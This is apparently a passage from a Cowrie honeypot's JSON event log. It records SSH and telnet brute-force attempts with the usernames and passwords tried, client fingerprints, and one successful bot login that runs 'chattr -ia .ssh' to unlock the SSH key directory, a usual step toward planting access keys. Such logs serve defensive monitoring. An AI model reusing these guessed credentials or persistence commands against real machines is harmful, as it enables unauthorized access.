a2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:23.295406Z","src_ip":"5.89.75.194","session":"4a19be63baf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry","message":"login attempt [jerry/jerry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:23.742989Z","src_ip":"5.89.75.194","session":"4a19be63baf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:24.849389Z","src_ip":"5.89.75.194","session":"4a19be63baf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43842,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c87e9a5c385","protocol":"telnet","message":"New connection: 128.199.8.54:43842 (159.203.135.109:23) [session: 5c87e9a5c385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:31.320334Z"}
{"eventid":"cowrie.session.closed","duration":0.004936695098876953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:31.325030Z","src_ip":"128.199.8.54","session":"5c87e9a5c385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":55646,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9646ecf50a5","protocol":"ssh","message":"New connection: 189.203.163.10:55646 (10.17.0.5:22) [session: b9646ecf50a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:40.516884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:40.521495Z","src_ip":"189.203.163.10","session":"b9646ecf50a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:40.584212Z","src_ip":"189.203.163.10","session":"b9646ecf50a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ltp","password":"ltp123","message":"login attempt [ltp/ltp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:40.865589Z","src_ip":"189.203.163.10","session":"b9646ecf50a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:41.931133Z","src_ip":"189.203.163.10","session":"b9646ecf50a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":50916,"dst_ip":"10.17.0.5","dst_port":22,"session":"14743cf0aa12","protocol":"ssh","message":"New connection: 160.251.185.39:50916 (10.17.0.5:22) [session: 14743cf0aa12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:42.105060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:42.109366Z","src_ip":"160.251.185.39","session":"14743cf0aa12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:42.274462Z","src_ip":"160.251.185.39","session":"14743cf0aa12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:42.970593Z","src_ip":"160.251.185.39","session":"14743cf0aa12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:44.143027Z","src_ip":"160.251.185.39","session":"14743cf0aa12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":59762,"dst_ip":"159.203.135.109","dst_port":23,"session":"01eb539cb32f","protocol":"telnet","message":"New connection: 107.6.151.170:59762 (159.203.135.109:23) [session: 01eb539cb32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:51.227359Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59252,"dst_ip":"159.203.135.109","dst_port":22,"session":"85667e556bae","protocol":"ssh","message":"New connection: 194.113.233.25:59252 (159.203.135.109:22) [session: 85667e556bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:51.525888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:51.530041Z","src_ip":"194.113.233.25","session":"85667e556bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:51.615371Z","src_ip":"194.113.233.25","session":"85667e556bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240884","message":"login attempt [root/240884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:51.874988Z","src_ip":"194.113.233.25","session":"85667e556bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:33:52.964457Z","src_ip":"194.113.233.25","session":"85667e556bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":45430,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c342a290590","protocol":"ssh","message":"New connection: 87.251.79.125:45430 (10.17.0.5:22) [session: 8c342a290590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:06.802588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:06.807157Z","src_ip":"87.251.79.125","session":"8c342a290590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:06.881629Z","src_ip":"87.251.79.125","session":"8c342a290590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17031994","message":"login attempt [root/17031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:07.098530Z","src_ip":"87.251.79.125","session":"8c342a290590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:08.180404Z","src_ip":"87.251.79.125","session":"8c342a290590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33264,"dst_ip":"159.203.135.109","dst_port":23,"session":"914eaad6e623","protocol":"telnet","message":"New connection: 172.81.62.90:33264 (159.203.135.109:23) [session: 914eaad6e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:14.217386Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":60056,"dst_ip":"10.17.0.5","dst_port":22,"session":"853d33e279a6","protocol":"ssh","message":"New connection: 76.79.213.69:60056 (10.17.0.5:22) [session: 853d33e279a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:17.466240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:17.473948Z","src_ip":"76.79.213.69","session":"853d33e279a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:17.598147Z","src_ip":"76.79.213.69","session":"853d33e279a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"azerty","message":"login attempt [ftpuser/azerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:18.123569Z","src_ip":"76.79.213.69","session":"853d33e279a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:19.252540Z","src_ip":"76.79.213.69","session":"853d33e279a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.603678464889526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:22.830899Z","src_ip":"107.6.151.170","session":"01eb539cb32f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebdc65147b73","protocol":"ssh","message":"New connection: 27.71.230.31:39710 (159.203.135.109:22) [session: ebdc65147b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:37.132368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:37.182617Z","src_ip":"27.71.230.31","session":"ebdc65147b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:38.549844Z","src_ip":"27.71.230.31","session":"ebdc65147b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234567","message":"login attempt [root/Admin1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:44.454673Z","src_ip":"27.71.230.31","session":"ebdc65147b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:47.085793Z","src_ip":"27.71.230.31","session":"ebdc65147b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.37376689910889,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:34:48.590973Z","src_ip":"172.81.62.90","session":"914eaad6e623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":41264,"dst_ip":"10.17.0.5","dst_port":22,"session":"fefe7a0e4acb","protocol":"ssh","message":"New connection: 5.89.75.194:41264 (10.17.0.5:22) [session: fefe7a0e4acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:25.684386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:25.689606Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:25.794504Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"botpassword","message":"login attempt [bot/botpassword] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.242652Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.507262Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.511202Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.515632Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.722647Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.886134Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
